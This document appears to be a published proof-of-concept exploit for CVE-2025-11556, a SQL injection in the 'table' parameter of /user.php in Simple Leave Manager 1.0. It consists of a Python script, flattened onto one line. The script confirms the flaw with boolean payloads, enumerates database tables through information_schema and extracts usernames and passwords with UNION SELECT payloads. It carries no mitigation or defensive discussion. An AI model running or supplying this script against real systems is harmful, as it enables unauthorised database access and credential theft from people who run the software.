CVE-2025-11556：Simple Leave Manager 1.0 SQL注入漏洞

# CVE-2025-11556 - Simple Leave Manager 1.0 SQL Injection PoC # Vulnerability: SQL Injection via 'table' parameter in /user.php # Author: Security Researcher import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" VULNERABLE_ENDPOINT = "/user.php" def exploit_sqli(target_url, payload): """Exploit SQL injection via the 'table' parameter""" url = f"{target_url}{VULNERABLE_ENDPOINT}" params = { "table": payload } try: response = requests.get(url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"[ERROR] Request failed: {e}") return None def extract_tables(target_url): """Extract database tables using information_schema""" # Payload to enumerate tables from current database payload = "users UNION SELECT table_name,table_schema FROM information_schema.tables WHERE table_schema=database()--" print(f"[*] Extracting tables from {target_url}...") result = exploit_sqli(target_url, payload) if result: print(f"[+] Response:\n{result[:500]}") return result def extract_credentials(target_url): """Attempt to extract user credentials""" # Payload to extract username and password (adjust columns based on actual schema) payload = "users UNION SELECT username,password FROM users--" print(f"[*] Attempting to extract credentials from {target_url}...") result = exploit_sqli(target_url, payload) if result: print(f"[+] Response:\n{result[:500]}") return result def boolean_based_test(target_url): """Test for SQL injection using boolean-based technique""" true_payload = "users AND 1=1--" false_payload = "users AND 1=2--" true_response = exploit_sqli(target_url, true_payload) false_response = exploit_sqli(target_url, false_payload) if true_response and false_response and true_response != false_response: print("[+] SQL Injection confirmed! Different responses for true/false conditions.") return True print("[-] Could not confirm SQL injection.") return False if __name__ == "__main__": print(f"[*] CVE-2025-11556 PoC - Simple Leave Manager 1.0 SQL Injection") print(f"[*] Target: {TARGET_URL}") print("-" * 60) # Step 1: Confirm the vulnerability if boolean_based_test(TARGET_URL): # Step 2: Extract database information extract_tables(TARGET_URL) # Step 3: Extract credentials extract_credentials(TARGET_URL) print("[*] Exploitation complete.")